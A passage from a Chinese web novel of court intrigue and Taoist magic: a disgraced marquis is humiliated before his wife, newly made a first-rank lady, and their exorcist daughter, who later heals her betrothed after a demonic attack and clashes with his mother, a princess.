“臭丫头,你敢讽刺我!”
殷琉璃手指一翻,一道灵光在指缝间乍现。
“殷镜堂!”
不等她出手,甄氏抬手将殷镜堂推了一个踉跄,抬手指着他的鼻子声线冷厉,
“你敢动手,我定让你吃不了兜着走!”
殷镜堂扶着桌子才稳住身形,怒火中烧狠狠瞪了甄氏一眼,
“连你也敢推我?好啊,你们母女可是越发的出息了。
甄氏,别以为你有靠山了我就不敢把你怎样!
惹火了我,我照样一封休书把你赶出家门,你一个弃妇,永远别想在别人面前抬起头来!”
犯七出之条被夫家休弃的女子,违背妇德,会被世人所不容,人人
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唾弃。
听殷镜堂说出休妻,甄氏那双柔美的眼睛里闪过一抹嘲讽和不屑,突然笑了。
声音不大,却在殷镜堂心里激起一层莫名的战栗,
“不用侯爷休我,我先休夫!殷镜堂,明日我就奏请圣上,休你!”
“休夫?哈哈……你好大的口气!”
殷镜堂嫌弃的大笑,“甄氏,你以为你是谁,还奏请圣上?圣上知道你是哪颗葱嘛!”
“不能休!千万不能休!”
话音未落,老夫人在两个丫鬟的搀扶下急匆匆的进来,挥着手一叠声的说,
“两口子好好的,说什么休不休的?让外人听见了笑话!
镜堂,快给你夫人赔个不是,说你刚才一时糊涂说错了话,请夫人别放在心上吧!”
殷镜堂一脸诧异的看着她,
“母亲,你说什么?”
“说什么?我叫你给你夫人赔不是,还不快着?”
老夫人恨铁不成钢的拍了他一把,一个劲儿的使眼色,“要你认错就认错,别把你夫人惹闹了,娘也救不了你!”
殷镜堂一脸懵逼。
自打成亲,他母亲就瞧不上甄氏的出身低,不过是看着她嫁妆丰厚才松了口。
成亲后更是没给过甄氏一个好脸色,隔三岔五还要敲打她一顿。
今儿这是怎么了?
“大哥,快别说那样的话!”
二房夫人跟着老夫人进来,也赶紧给殷镜堂使眼色,“大嫂如今的身份,可不是你说休就能休的了!”
三房夫人瞥了殷镜堂一眼,阴阳怪气道,
“别说休,大哥你就是敢动大嫂一根手指头,怕是都要吃不了兜着走呢!
也不知道大哥哪儿来的底气,敢跟大嫂这么说话?
我劝你还是认清现实,赶紧给大嫂配个不是的好。”
侯府这几房的夫人,以前也没少冷落甄氏,今儿怎么全都替她说话?
各人身后跟着的丫鬟婆子,手上还都带了各式各样的锦盒,像是来送贺礼的。
“你们这是怎么了?”
殷镜堂满脸奇怪的的看着他们,心头划过一抹不妙的感觉。
第82章 你可真叫我看不起你
“大哥还不知道呢?”
四房夫人惊讶的看着他,偷偷往甄氏身后努嘴,“你瞧瞧那个!”
殷镜堂顺着她的目光望去。
“轰……”
脑袋上瞬间炸开一道巨雷,整个人都木了。
桌上明晃晃的摆着一套诰命夫人的冠服,浅黄颜色,胸口上赫然绣着云凤锦,轴头为白玉。
浅黄色乃是亲王、一品大员内宅封赏才能使用的颜色,云凤锦和玉轴更是一品夫人的规制!
“凤栖,你、你……”
殷镜堂艰难的咽了口唾沫,“圣上封了一品诰命?这是什么时候的事!”
他在外跑了一天,只听到殷琉璃赐封的消息,根本不知道甄氏成了一品诰命!
早知道这样,刚才就是打死他他也不敢说出休妻!
甄氏柔美的脸上露出一抹轻蔑,冷冷的看着他,
“殷镜堂,我休不休的你?”
殷琉璃唇边勾起一抹冷笑,冷眼看着殷镜堂。
殷镜堂眼神闪躲,根本不敢直视殷琉璃的眼睛。
当年他亲手扔出去的女儿,十二年后竟然给她娘挣了个一品诰命夫人回来!
他这个当爹的却被女儿当成仇人,处处跟他做对!
老夫人连推了他两把,急的跺脚,
“还不赶紧给你夫人赔罪!”
豆大的汗珠从殷镜堂额头滚落,两片唇不能自控的颤抖,
“不不,夫人,我、我刚才真的是玩笑话……”
甄氏看着他的眼神中,只有冷漠,
“我说的可不是玩笑话,侯爷,你我夫妻缘分早就断了。”
“别别,夫人你听我说,以前是我糊涂,我混账!我知道错了!”
殷镜堂彻底慌了,语无伦次的说,“夫人,再给我一次机会,我对天发誓以后一定好好对你,对你们娘俩……”
殷琉璃挑了挑眉,轻嗤道,
“娘,我们离他远点儿,天道昭彰,小心雷劈他的时候连累我们。”
甄氏漠然的看了殷镜堂一眼,
“琉璃说的对,你发的誓我可不敢听,你走吧。”
眼看事情不好收场,老夫人眼珠子转了转,撺掇各房夫人给殷镜堂帮腔,
“两口子床头打架床尾和,有什么不好商量的,没必要非要闹成这样不是?
你们都是傻子嘛,还不快替我求着你们大嫂些!”
不等各房夫人开口,甄氏给老夫人行礼,淡淡的说,
“老夫人不必多说,我心意已决,明日便去求圣上旨意。
各位也免开尊口,大家彼此还能留些颜面。”
这下谁都不好开口了。
空气凝固了一般。
殷琉璃看着甄氏的眸子里,泛出一抹光芒。
娘自信的眼神,用平静的语气说出的威严感,足足撑得起一品诰命夫人的气度!
俨然脱胎换骨!
“扑通”
一声闷响,谁都没想到殷镜堂竟然跪在了甄氏的面前。
连老夫人都吃了一惊,脸色虽沉了下来却不敢吭声。
给女人下跪的确丢尽脸面,可她儿子要被**劾处境堪忧,留住甄氏才能有一线生机。
她心里也恨毒、嫉妒甄氏,不是还腆着老脸过来求人家嘛!
各房夫人更是脸色各异,大气儿都不敢喘一声。
当着所有人的面,殷镜堂咬着后槽牙,硬生生从眼里挤出两行眼泪,
“夫人,你我也曾风花雪月,举案齐眉,相约白首……难道你都忘了吗?
是我吃了猪油蒙了心,不知道你对我的好!”
说着,他竟还抬手给了自己一个耳光,痛哭流涕道,
“可人非圣贤孰能无过,我知道我错的厉害,伤了夫人和女儿的心,可我发誓从今以后洗心革面,只求夫人再给我一次机会,我们这个家不能散啊……”
**书一上,他再无翻身之地。
下跪痛哭算什么,一个耳光又算什么,有了甄氏这个一品诰命夫人,他就能绝地翻身!
真是字字真切,句句忏悔。
殷琉璃都看笑了,微微俯身,居高临下的看着他,
“娘,你看他哭的多伤心呀?可若你不是一品诰命夫人,你觉得他会跪下来哭着求你?”
甄氏脸上露出一个鄙夷的笑容,目光如冰,
“琉璃,你也瞧出来了?他再卑微下跪,求的也不是我,不过是他的前程罢了
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。”
殷镜堂身子狠狠一颤,咬牙道,
“凤栖,你对我就这般绝情?”
“你对我的绝情,比我对你更甚,不是吗?”
甄氏缓缓冷笑,轻描淡写的说,“来人,送客。”
殷镜堂彻底慌了,扑过去一把抓住她的脚踝,哀哀欲绝的说,
“凤栖,凤栖你听我说,我是真心悔改……”
不等他再说什么,殷梅四人上前将他硬生生拉开,
“大人请自重!”
“大人给自己留些颜面吧,请!”
“夫人送客,大人若再不走就别怪我们动手了……”
……
“放开我!放开……夫人!夫人,我真的知道错了……”
殷镜堂被拖出门,哀求的呼喊渐渐消失。
“镜堂!”
老夫人气的本想发作,可看到殷琉璃心里就先打了个哆嗦,沉着脸追了出去。
“大嫂……不不,甄姐姐,我们都是来贺你的,一些薄利还望笑纳。”
“对对,以前咱们有什么得罪姐姐的,还请姐姐别放在心上……”
“以前是我们不懂事儿,姐姐不会跟我们计较的吧?”
二房夫人拉着三房四房把贺礼送了,讪讪的说了几句话也告退。
“琉璃……”
甄氏握着女儿的手,轻声叹息,“娘如今才明白,以前都是白活了。”
……
“**!**!”
殷镜堂将房里的东西全都砸了,恨的拍着桌子咬牙大骂,
“我都给她跪下了,她竟还跟我拿大?**!早知如此,当初就应该把他们娘俩一并杀了去!”
老夫人哭天抹泪的骂道,“你如今说这些还有什么用?谁知道那个**铁石心肠!
你倒是想想别的办法呀,总不能让她……”
殷镜堂狠狠攥紧拳头,“我知道,这不正在想嘛!”
今天算是把这张脸全丢光了!
话音未落,小厮急匆匆的过来说,“启禀侯爷,宫里来人传旨,让您快去接着!”
殷镜堂心里顿时咯噔一下,声音控制不住的发颤,
“不是还没有上书吗,圣上这是给我什么旨意?”
第83章 以后就是她殷琉璃的天下了
急匆匆赶去,却只见周青公在正堂负手而立。
“见过周大人。”
殷镜堂脸上挤出一丝笑意,心里跟爬了一万只蚂蚁似的难安,小心翼翼的问,
“不是说圣上传旨吗,您这是……”
周青公回身看了他一眼,一脸漠然的说,
“圣上宣的是口谕。”
一听是口谕,殷镜堂心里先松了口气。
口谕是圣上临时起意宣之于口,不比圣旨正式,所以哪怕是斥责也还是有转圜的余地的。
他偷偷抹了下额角的冷汗,陪笑道,
“是,那就请周大人……”
周青公抬了抬手,“别急,宣旨之人还没来。本官亲来,是要给我那位小佐使送任书的。”
殷镜堂脸色一白。
殷琉璃是周青公的左右手,他竟肯亲自将任书送过来,可见对那丫头多重视!
走廊里忽然传来顾瑾焱的声音,
“夫人放心,焱儿会尽快安排面圣事宜。”
甄氏感激的说,“那就劳烦世子爷。”
“夫人又忘了,叫我焱儿便是。”
顾瑾焱声音中带着一丝笑意,说不出的恭谨。
他就是宣旨的?
殷镜堂心里又开始砰砰打鼓。
心里正没着没落的抓挠着,顾瑾焱、甄氏和殷琉璃走了进来。
殷镜堂连忙迎了上去,心慌意乱的陪笑,
“世子爷大驾光临……”
顾瑾焱抬手打断他的话,语气冷沉,
“本世子前来宣圣上口谕,跪听接旨。”
那张俊美的脸上刚刚明明在笑,看到他变换上了一副冷肃的神色,一双深邃的眸子透着股子寒意,极具威压。
与殷镜堂印象中那个轻浮纨绔的模样简直天差地别。
他心里打了个哆嗦,连忙敛袍下跪,
“臣接旨。”
谁知他自己跪下,站在顾瑾焱身旁的甄氏和殷琉璃却没有一丝动静。
圣旨跟前,只要是殷侯府的人都必须跪听,否则便犯了大不敬之罪。
殷镜堂脑海中蓦地响起甄氏那句充满鄙夷的话:
殷镜堂,你可真叫我看不起你!
他皱起眉头,不悦的呵斥,
“夫人,你俩站在那里做什么,还不过来跪听接旨?”
殷琉璃轻嗤了一声,
“圣上宣旨于你,我和我娘跪什么?”
殷镜堂脸色愠怒,“你懂什么,这是规矩……”
“忘了告诉你,圣上免了夫人和琉璃同跪的规矩。”
甄氏居高临下的看着他,面无表情。
殷镜堂恨的咬牙。
那副高高在上的姿态以前是他对她,如今她摆给谁看!
顾瑾焱倨傲的挑眉,声线威严冷肃,
“殷侯府殷镜堂听旨:敕封**罔替侯,其心不正,其行不端,别以为朕不知道你私底下做的那些事。
殷镜堂依罪当抄家流放,朕念在殷琉璃与焱儿的婚事未成,对你从轻发落。
着免去一切官职,撤后世之**罔替,你去闭门思过罢……钦此!
殷镜堂如五雷轰顶。
圣上不等**他的上书就已经将他发落了,撤去他平生最为看重的官职,还撤了殷侯府**侯位。
这跟杀了他有什么两样?
最可气的是话里话外告诉他,之所以还保留他的侯位,也是因为殷琉璃要成亲,给他留最后一丝颜面!
殷镜堂身子一软,瘫坐在地上。
一张脸瞬间变得煞白如纸,脑海中只剩下两个大字:
完了!
非但他完了,整个殷侯府都完了!
走廊外传来一阵杂乱的脚步声,殷镜堂三个弟弟和夫人赶过来将他围住,
“大哥,你到底做了什么,令圣上这般斥责惩处?”
“大哥,你把咱们侯府害惨了!”
“你没有儿子,可我儿子是侯府嫡长孙呀!你弄丢了**罔替的侯位,让我儿子怎么办?”
“你让我们以后还有什么脸面出去见人呀……”
……
三个弟弟气急败坏,各房的夫人们脸上全是埋怨责怪。
群起而攻之,指责声潮水般将殷镜堂淹没,他面如死灰,百口莫辩,仿佛溺水一般连呼吸都喘不上气来。
殷琉璃冷眼看则会,唇边勾起一抹冷笑。
她要看的就是殷镜堂这个
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冷血无情的小人,如此下场!
害了她和她娘十几年,如今他最在意的官位、仕途彻底毁掉。
他总算尝到了一无所有,众叛亲离的滋味儿!
“琉璃丫头,我这儿还有东西要给你。”
当着殷侯府所有人的面儿,周青公笑意吟吟的从袖中取出任书,双手递到殷琉璃的面前,
“圣旨一下,本官就写了这份任书,亲手给你送来。
殷佐使,你可是我周青公的左膀右臂了,以后定能大展宏图。”
话音一落,殷侯府瞬间陷入一片死寂。
所有人的目光齐刷刷集中在殷琉璃的身上。
在众人的注目下,殷琉璃双手接过任书,用清朗的声音行礼道,
“有劳周大人亲自送任书,琉璃定当追随大人,尽心竭力辅佐大人治理大理寺。”
“殷佐使请起。”
周青公虚抬了下手扶她,沉稳的眸子扫过众人,似笑非笑的说,
“看来这殷侯府,以后怕不是要靠你殷佐使才能撑起来了。”
众人眼睛里不由一颤,看向殷琉璃的眼神充满震惊、羡慕……
三房人上来拥簇着她和甄氏,脸上满是巴结讨好,
“琉璃丫头以后就是咱们侯府的脸面!”
“大哥害的咱们连**罔替都没了,以后可不是要指望人家琉璃!”
“我就说大姑娘有本事,要不是她,咱们侯府可就散了!”
“甄姐姐天大的好福气呀,生了这么好的女儿……”
……
殷镜堂如同一条被人丢弃的破麻袋,再没人愿意多看他一眼。
没想到被自己扔了不要的女儿,一回来就抢走了他的一切!
他深深的垂着头,一片颓败的脸上充满了怨毒。
他还没死!
他要将臭丫头和甄氏那个**得到一切亲手毁掉!
他要亲眼看着这娘俩失去一切,被他踩在脚下践踏,让她们永无翻身之日!
“爹,你瞧见了?这殷侯府以后可就成了她殷琉璃一个人的天下了!”
人群簇拥着殷琉璃母女离去,一个阴森冰冷的声音从殷镜堂身后传来。
第84章 灵符起火
她身上的鞭伤刚刚结痂,每走一步都痛彻心扉。
眼睁睁看着殷琉璃拥有了一切,她心里比满身的伤口还要痛的噬骨钻心。
一张脸色苍白铁青,眼睛里充满了痛恨和怨毒,声线恶毒阴冷,
“她一回来就抢走了我和我娘的一切,还害得我身败名裂,让我沦为整个京城的笑柄!
你呢……她身上流着你的血,却要亲手把你毁掉!”
殷镜堂身体剧烈的颤抖。
殷玉珠森然冷笑,
“爹,你知道吗?圣上召她进宫那天,曾亲口说只要她开口,圣上会赦免你的一切罪责。
可她怎么说的?她对圣上说与你没有任何关系……”
“你说什么?”
一股怒火涌上心头,殷镜堂狠狠一拳砸在地上,“她这是要我死!”
殷玉珠面目带上了一丝狰狞,
“是啊,不害死你,她是不会罢休的。哈哈哈……
爹,她不死,我们父女再无翻身之日!”
殷镜堂狠狠咬着牙,脸色说不出的阴狠毒,
“玉珠,你有什么法子?”
“法子有很多,咱们一样一样来。”
殷玉珠陡然攥紧了拳头,阴冷的眸子里闪过一抹恶毒的笑意,
“她不是跟顾世子打得火热吗?她毁了我的姻缘,那她也别想攀上顾瑾焱的高枝!”
……
公主府。
今日是殷琉璃第一天去大理寺的日子,顾瑾焱一早就准备出门。
先去殷侯府接上殷琉璃,带她去大理寺查上一圈儿,熟悉一下环境。
中午就拉着她去京城第一酒楼德盛楼用午膳,下午一起喝喝茶看看卷宗。
最好想个办法约她去别苑吃酒!
孤男寡女,等吃了酒,发生一些不该发生的事儿也说不准……
想到这儿,顾瑾焱一双眉锋按捺不住的挑了起来。
“焱儿,这么早就要出去吗?”
刚要出门,成懿公主就叫住了他,“嬷嬷说你晨起就用了碗茶,燕窝粥就吃了两口,怎的不好好吃早膳?”
顾瑾焱垂了垂手,脸上的笑意压都压不住,
“早上没胃口,就少吃了些。母亲不用担心,儿臣中午多用些好了。”
成懿公主皱眉道,
“你成日在外厮混,连早膳都不好好用,母亲这么放心让你出去?”
“母亲,我真的有事儿要忙!”
顾瑾焱拦住她的双肩晃了晃,笑嘻嘻的说,“等回来陪母亲一起用膳啊,儿臣先走了!”
说罢,不等成懿公主再说什么,人已经小鸟儿一般飞出去。
成懿公主满眼心疼的跟嬷嬷说,
“你们瞧,也不知外面有什么勾着他的魂儿!”
嬷嬷笑道,“老奴打量着,世子爷的魂儿是被那个殷家的大小姐给勾走了呢!
主子还不知道?世子爷跟那个殷大小姐一见钟情,这些日子日日往人家那里跑呢。”
成懿公主眸子里闪过一抹什么,不觉一怔,
“这些日子?你是说他跟殷家那个早就见过了?”
他儿子命犯七煞,其中最厉害的一煞便是克妻,之前七个跟他定亲的女子,只要下了定帖不出日子就无由暴毙。
殷侯府那个小姐这么一点儿事儿都没有?
假山后忽然有两个干活儿的仆妇说话,好似故意让人听见似的,
“我听说殷家那位大小姐命犯凶星,凶的狠呢……
之前那七个,定帖一下就死,人家那位殷小姐一点儿事儿都没有!”
“真的假的?”
“这还能有假?我表姨是殷侯府老夫人院儿里的,说那位姑娘生下来就有一道天雷把树给劈了。
后来算出她命犯凶星,殷侯府才把她扔了的……谁知又回来,嫁给咱家世子爷!”
“那他俩岂不是棋逢对手?以后谁克死谁还不一定!”
正想着这事儿的成懿公主,心头狠狠跳了几下,冷声吩咐,
“嬷嬷,叫人去查。”
……
殷琉璃早早梳洗好,乌黑的头发在脑后梳了个利索的发髻,穿好御赐官衣服翻身上马。
谁知突然打了个响亮的喷嚏,“啊嚏!”
有人说我坏话?
“嚏!嚏!……”
胯下的踏雪竟也跟着接连甩了两个响鼻。
“怎么,有人也说你坏话了?”
殷琉璃摸了摸它的脑袋,心下忽然闪过一抹什么,没有抓住。
她径直去了大理
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寺,周青公满面笑容,亲自出来迎接。
倒是昨天说早些过来带她巡查大理寺的顾瑾焱,一直都没有出现。
……
“不好了,不好了!世子爷受伤了!”
成懿公主正在房中坐立不安,外面仆妇就急匆匆进来禀报,“殿下,世子爷受伤了,您快去瞧瞧吧!”
“什么?”
她粉脸上一片惊慌失措,“焱儿伤到哪儿了?严重不严重?人、人呢……”
仆妇忙说,“说是坠马伤到胳膊,流了好多血……小厮扶着他回房了!”
成懿一把搭在嬷嬷的手上,焦急的起身,
“请御医了没有?快去看看!”
她急匆匆赶去顾瑾焱的卧房,扑面而来一股刺鼻的血腥。
顾瑾焱肩头赫然豁开一道手指长的伤口,鲜血淋漓不断。
随从正在给他伤口上上药,他偏过头,眉宇微狞,那张俊美的脸上也粘了不少血污,触目惊心。
成懿公主一声惊呼扑了过去,“焱儿,你这是怎的了?”
顾瑾焱微微蹙眉,连忙起身道,
“母亲,你怎么来了?儿臣没事,别看……”
“你别动!你、你……”
成懿急的一双凤眸通红,想摸又怕弄疼他,豆大的泪珠噗噜噜往下掉。
顾瑾焱勾起一抹笑意,淡淡的说,
“母亲不用担忧,就是一点儿小伤,我真没事。”
“伤成这样,母亲怎能不替你担忧!”
成懿急的眼睛通红,“你从小到大都没受过伤,怎么突然就坠马了呢?”
顾瑾焱一脸云淡风轻的安慰她,
“马匹受惊而已,这也是常有的事儿。”
嘴上这么说,只有他自己知道这件事出的有些异常。
他今日骑的马虽不是踏雪,可也是一匹难得的上等好马。
这匹马曾跟随镇北大将军在疆场厮杀,见识过无数血腥惨烈的场面,训练有素。
如今它不过是在京城寻常的街道走,能有什么惊的它疯了似的乱窜,发出一阵阵惊恐的嘶鸣?
当时,顾瑾焱感觉出一丝异样的气息向自己扑面而来,不等他做出反应,殷琉璃给他的那道黄纸符突然窜起一道火苗……
第85章 趁热打铁
殷琉璃说过,那张护身灵符一旦无火**,就是有厉害的阴煞袭击。
动物天生带有灵性,能比人更先感知到危险,所以那匹久经沙场的马才会受惊。
谁要杀他?
药粉撒在伤口上,引来一阵剧烈的痛楚。
顾瑾焱不觉皱眉,脑海中浮现出那张半人半鬼的面孔,无崖子。
无崖子开始动手了!
想到这儿,顾瑾焱只觉得屁股下的椅子长出了针,一刻也坐不下去。
他要去找殷琉璃。
成懿公主又是心疼又是埋怨,哭天抹泪的说,
“疼的厉害?焱儿,你怎么这么不小心呢!
你给我在府里好好养伤,再不许出去胡混……”
话音未落,顾瑾焱捂着包扎好的伤口,起身道,
“母亲,儿臣有件重要的事情要出去一趟!”
“什么重要的事情,你做什么去!”
成懿公主追着儿子的身影叫了几声,也没拦住,急的跺脚,“都伤成这样了,还出去做什么!”
“主子别急坏了身子。”
嬷嬷连忙扶住她,有意无意的说,“世子爷也是不小心,那么大一个伤口看的老奴都心惊肉跳的!
只也奇怪,咱家这位世子爷虽说胡闹了些,可一向平安,怎的突然就伤着了呢?”
成懿公主心头滚过一道巨雷,脱口道,
“嬷嬷,你说会不会是……”
……
大理寺。
殷琉璃正埋头案宗,鼻端忽然传来一丝若有若无的血腥气息。
抬眸间顾瑾焱急匆匆走了进来,她往那张略显苍白的脸上瞧了一眼,便蹙眉道,
“顾瑾焱,你受伤了?”
顾瑾焱点了点头,俊美的脸上带着一丝沉郁道,
“来大理寺的路上,马匹突然受惊,你给我的护身符也突然烧起来。
我怀疑是无崖子动手,琉璃,他有没有找你麻烦?”
“暂时没有,你放心,我也防着他呢。
你先坐下,把衣裳褪了,我看一下你的伤。”
殷琉璃摇了摇头,沉吟道,
“上次让无崖子做了漏网之鱼,他应该找我来报仇才对,为什么先对你动手?”
顾瑾焱幽深的眸中也闪过一抹疑惑,艰难的脱下左膀的衣裳,露出被血水浸染成一片的绷带。
他忍不住暗暗吸了一口冷气。
尽管用了伤药,可血水还是止不住往外渗,加上他骑马赶来路上颠簸,伤口裂开痛楚难当。
不过看到殷琉璃无事,顾瑾焱心里还是大大的松了口气。
殷琉璃纤细的手指在他肩头触了触,紧促的眉头稍稍缓和,轻声道,
“伤口是深了些,好在没有伤到骨头。
别动,我给你止血疗伤。”
她黑白分明的眸子毫不掩饰的紧张,眉头微蹙一脸担忧的模样,看的顾瑾焱心跳不觉漏了半拍。
殷琉璃抬起纤细的手指,以剑指在掌心画下一道“金光封血咒”,以心念催动,
“金顶玄天仁帝,神威道法昭然,止血封伤解厄灵光……太上老君急急如律令!”
手指一翻,一道灵光乍现,点入他的伤口。
顾瑾焱本剧痛的伤口传来麻麻痒痒的感觉,犹如被一只温暖柔软的手抚过,说不出的轻松舒畅。
他浑身一轻,血水渐止,小孩嘴儿般豁开的伤口肉眼可见的收敛起来。
顾瑾焱俊美的脸上掩饰不住的露出一抹惊奇。
厉害呀夫人!
“好了,只是要再养些日子,伤口才能完全愈合。”
殷琉璃在他肩头轻轻拍了一下,用清灵的嗓音道。
旋即又皱了皱眉,沉吟道,
“幸亏你身上带着灵符,否则被无崖子一击即中,你命危矣。”
顾瑾焱却嗤了一声,“我看他也就那些本事了,一击未中扭头便跑。”
“你不要小瞧那个妖道,他已修炼成半人半鬼之身……”
殷琉璃心头忽然闪过一抹什么,忙说,
“他若想杀你,在灵符起火后还有大好的机会,怎的只是伤了你这么简单?”
顾瑾焱抬头与她对视,一时间也陷入沉思。
殷琉璃略略思索,果决的说,
“不管怎样,他以半阴之身藏匿,连哇呀呀都探不到他的踪迹。
你我都是他的目标,一定要谨慎防着才行。
顾瑾焱,我的灵符只能护你一时……这样吧,我让哇呀呀暂且跟着你,护你周全。”
“
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哇呀呀?”
顾瑾焱脑海中顿时浮现出那个一副将军装扮的,面目狰狞的厉鬼,心里顿时咯噔了一下,赶紧摆了摆手,“不、不用了吧,琉璃……”
让那个家伙藏在耳朵里,想想都吓人。
“按我说的办!”
殷琉璃一张绝美的小脸儿冷肃果断,根本不给他反驳的机会,抬手敲了敲耳根将哇呀呀召唤出来,
“哇呀呀,这些日子你跟在顾瑾焱身边,将他护好!”
她之所以做出决定,并非私心,更不是因为自己与顾瑾焱定亲的关系。
只不过自从那日打败无崖子,顾瑾焱就已经与她站在了同一条危险的战线。
她自然要保护好自己的战友。
在玄清观跟五个师兄一起长大,殷琉璃从来没觉得自己跟师兄们没什么区别,也没人教过她什么男女之情。
“哇呀呀……末将遵命!”
哇呀呀瞪着一双嘿呦哟的眼睛,抬手抱了个拳。
他才舍不得离开主人,去护着一个外人!
尽管心里老大不情愿,可作为签下契约的耳报神,主人的话他一个字都不能违抗。
顾瑾焱小心翼翼的打量着四周,心里一个劲儿的打鼓,
“琉璃,他不会也钻进我耳朵里吧?”
“哇呀呀是青面厉鬼,阴煞中第二厉害的东西,你肉身受不住他的煞气。”
殷琉璃摇了摇头,轻描淡写的说,“他只是随时跟在你的身旁十尺范围,护你周全。”
顾瑾焱心头闪过一抹窃喜。
连贴身的耳报神都给他用,这不充分说明夫人把他放在心上了嘛!
再往深处想想,这丫头是不是已经对他有些动心了?
越想越觉得有理,他唇边蓦地勾起一抹美滋滋的笑容,看着殷琉璃的眼睛都在发光。
“你笑什么?”
殷琉璃不明所以的瞥了他一眼,只觉得他笑的有些古怪。
“没、没什么?”
顾瑾焱不由自主的向她凑近,一脸坏笑的挑眉,
“琉璃,圣上赏给我两坛上好的佳酿,今晚不如去我的别苑,咱们……”
夫人对他动心,那还不趁热打铁,说不定今晚就能把自己的名分落实了呢?
第86章 婆媳相见
话音未落,一根纤细的手指戳在他的肩膀上,将他顶了回去。
殷琉璃淡淡挑眉,“不去。”
顾瑾焱不死心的说,
“横竖回府也无趣,不如去我的别苑饮酒作乐……”
“佐使大人,夫人遣人送了一张帖子,请大人过目。”
正缠磨殷琉璃,殷菊拿着一张帖子送进来,打断了他的话。
殷琉璃接过来看,蹙眉道,
“皇后叫我和娘去御花园,参加赏荷宴?
我又不认识皇后,叫我去做什么?”
顾瑾焱瞥了一眼说,“如今正是宫里菡萏初放的时节,皇后娘娘每年都会请后宫嫔妃及有些头脸的外命妇前去观赏荷花,游船设宴。
夫人如今是一品诰命,你又是第一个女佐使,皇后娘娘自然要请你们去见见的。”
殷琉璃一脸无趣的说,“不去不行吗?”
“皇后娘娘邀约,自然是不行的。”
顾瑾焱勾唇道,“放心,到时候我也在。”
……
三日后,殷琉璃被甄氏和金嬷嬷按着打扮了一番,进宫参加赏花宴。
马车缓缓驰入幽深的门洞,只见朱墙巍然而立,将皇城圈禁于一片方寸。
无数高大的宫殿坐落其中,宫中三步一查五步一禁,自是一派皇室威严肃穆之势。
马车停在一处空荡的院落中,便有穿着锦衣的嬷嬷宫女等候,引着他们往围墙之内的后宫去。
殷琉璃顶着一头的珠钗,又穿了娘为她挑选的三四层端庄华贵的衣裳,在一道道压抑的宫墙中穿梭,进出了无数个门,走的心里直犯嘀咕。
怎么还不到呀!
早告诉她一个地方,画张缩地灵符直接过去不就行了?
穿过一个圆拱形门,她眼前这才一亮,一片偌大的湖水映入眼帘。
湖水尽头临着一座青山,中间座立着一个湖心岛,上面亭台楼阁让人眼花缭乱。
湖心岛处望见这边来人,便有人摇着一座画舫前来接人。
嬷嬷躬了躬身,和颜悦色的说,
“请夫人、殷佐使稍等片刻,皇后娘娘已命人来接。”
“多谢嬷嬷带路。”
殷琉璃刚说话,就有一个身穿彩锦华服,装扮的雍容华贵周身气度不凡的中年女子,坐着一顶小轿,在一众嬷嬷宫女的簇拥下过来。
“奴婢见过殿下!”
嬷嬷忙上前陪笑,“皇后娘娘刚还说公主怎还不来,正盼着呢。”
殷琉璃这才打量了她一眼,原来她就是顾瑾焱的母亲。
“有些事情耽搁了,让母后久等。”
成懿公主点了点头,居高临下的目光扫过殷琉璃和甄氏,随口道,“那边是谁?瞧着脸生的狠。”
她一眼就看出甄氏和殷琉璃,就是故意这样。
这几日嬷嬷把殷琉璃的身世打听出来,果真是命犯凶星,还凶的狠呢。
当初定亲对庚帖的时候,殷侯府用的那个凤命的八字,其实是殷家次女殷玉珠的八字顶替!
嬷嬷还添油加醋,将殷琉璃一回来就大闹殷侯府,把王氏母女折腾的不成人形,还把殷镜堂妨的被圣上训斥,罢免官职,撤去了侯府**罔替,闭门思过的事儿说给她听。
成懿公主倒吸了一口冷气,心里越发觉得儿子意外受伤,就是这个凶星克的!
她给儿子娶亲,是要规避跟**和亲,可不是要弄个凶星来克她儿子!
所以看见殷琉璃,她自然没带好气。
……
“回殿下,这两位是圣上刚刚敕封的一品诰命夫人甄氏,其女殷佐使殷琉璃。”
嬷嬷回道。
成懿公主雍容的脸上闪过一抹不快,
“还以为是谁?不过是得了些脸面,母后请她们来做什么?”
虽然是在轻嗤,可在场的人都能听见这声倨傲的嘲讽。
甄氏脸上更是一赧。
成懿公主怎么说也是未来亲家,她女儿的未来的婆婆。
婆媳第一次相见,不说客气些也就算了,怎么还当着一众下人这样说话?
实在让人难看。
她窘迫的拉着殷琉璃上前见礼,
“臣妇甄氏,见过殿下。”
殷琉璃一眼就看出她眼里的不善,不动声色的跟着娘福了福。
“嗯。”
成懿公主随意的哼了一声,脸色不悦的看着殷琉璃,“你就是殷侯府那位嫡长女?”
殷琉璃淡淡的说,“是。”
成懿公主
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用轻蔑的眼神打量着她,毫不掩饰的讥讽,
“听闻这些年你一直养在外面,这才回来?怪不得看着一身的乡野气,不像是大家门户里出来的……”
话音一落,众人纷纷笑了起来,顺着她的话说,
“可不是嘛!远远的瞧着一身珠光宝气,走近一瞧倒像个耍猴的……”
“只能说穿上龙袍也不像太子,官宦人家养出来的大小姐,可不是这种气派。”
“在外面养大的哪里能叫做小姐?”
……
“你们这话可就错了。”
殷琉璃挑了挑眉,毫不客气的回怼,
“殿下出身皇室,天之贵女,又何止高门大户?
可殿下第一次见我就出言讥讽,言语尖酸刻薄,这就是出身高贵之人的左派?”
原本因她是顾瑾焱的母亲,殷琉璃自然会客气些,这下不用了。
成懿脸色顿时一沉,“放肆!你敢对本宫出言不逊!”
“琉璃,别……”
甄氏没想到女儿出口就得罪人,顿时吓了一跳。
殷琉璃云淡风轻的说,
“殿下看我不顺眼,大可不必看,各走各的。
臣女是来赴皇后娘娘的宴会,而非殿下邀请,难不成受了殿下的气还要忍气吞声?”
“好一个伶牙俐齿!”
成懿公主着实没想到殷琉璃敢当面给她难堪,愠怒道,“就算母后请你又怎样,本宫照样能把你轰出去!来人……”
“琉璃……喂!”
话音未落,湖中游船上便传来了顾瑾焱叫声,他远远的冲殷琉璃招手,
“我在这儿!我来接你了!等我……”
成懿公主脸色一黑。
焱儿早早就进了宫,原来是为了接殷琉璃!
她这不争气的儿子!
“呼啦……”
不等她发火,画舫忽然发出一声闷响,在水中剧烈的摇晃起来。
湖水如开了锅似的翻腾,似乎下面有什么东西狠狠撞击。
顾瑾焱站在船头,根本没有防备,在船体剧烈的晃动下一头栽进了湖中。
“焱儿!”
成懿公主大惊失色,惊叫着从抬轿上站了起来,“快!快救人!焱儿他不会水……”
第87章 水鬼抓替身
“救、救……”
顾瑾焱在水中挥舞双手,狼狈挣扎了两下口鼻瞬间又被淹没,“咕噜噜……”
画舫上乱作一团。
“世子爷别慌,奴才来救您了!”
撑船的小太监冲他大喊一声,纵身跃进水中。
